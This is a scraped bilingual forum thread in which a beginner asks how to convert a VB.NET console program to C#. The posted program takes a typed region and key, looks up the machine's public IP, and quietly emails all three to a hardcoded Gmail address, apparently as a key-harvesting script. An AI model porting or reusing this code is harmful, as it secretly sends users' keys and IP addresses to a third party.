VB到C#? -邮件脚本,帮助 [英] VB to C#? - Mail Script, Help

查看:98
本文介绍了VB到C#? -邮件脚本,帮助的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

你好!
我在这里很新,我有问题.
我是C#的入门者.我想编写一个控制台应用程序,可以发送电子邮件.
我有VB源代码,无法将其翻译为C#,因此:
-有人知道如何将VB源代码转换/转换为C#吗?
非常感谢!

Hello!
Iam quite new here, and I have a problem.
Iam a begginer in C#. I want to write a console app, which can send email.
I have a VB source code, and I cant translate it to C#, so:
-Does anyone know how to translate/convert this VB source code to C#?
Thank you very much!

Imports System.Net.Mail
Module Module1
    Public Region As String
    Public Key As String
    Sub Main()
        Console.WriteLine("Hello! Ird be az országot és a kodot!")
        Region = Console.ReadLine
        Key = Console.ReadLine
        Sendmail()
    End Sub
    Sub Sendmail()
        Dim WC As New System.Net.WebClient
        Dim MyMailMessage As New MailMessage
        MyMailMessage.From = New MailAddress("ferike112@gmail.com")
        MyMailMessage.To.Add("ferike112@gmail.com")
        MyMailMessage.Subject = ("Region:" & Region & "Their IP is: " & System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))))
        WC.Dispose()
        MyMailMessage.Body = ("REGION: " & Region & vbCrLf & "Key: " & Key)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("ferike112@gmail.com", "********")
        SMTPServer.EnableSsl = True
        Try
            SMTPServer.Send(MyMailMessage)

        Catch ex As SmtpException
            ''MessageBox.Show(ex.Message)
        End Try
    End Sub
End Module

推荐答案

在Web上有VB到C#的转换器,用于发送邮件的C#样本等.另外,盲目使用网络上的代码也不是学习,买书和阅读的方法,如果您不能将VB转换为C#,那么您将不了解足够的C#来真正理解代码.
There are VB to C# converters, C# samples for sending mail, etc, all over the web. Also, blindly using code off the web is not a way to learn, buy a book and read it, if you''re not able to convert this VB to C# then you don''t know enough C# to really understand the code.


谢谢!你帮了我很多忙! :D
Thank you guys! You helped me alot! :D


这篇关于VB到C#? -邮件脚本,帮助的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆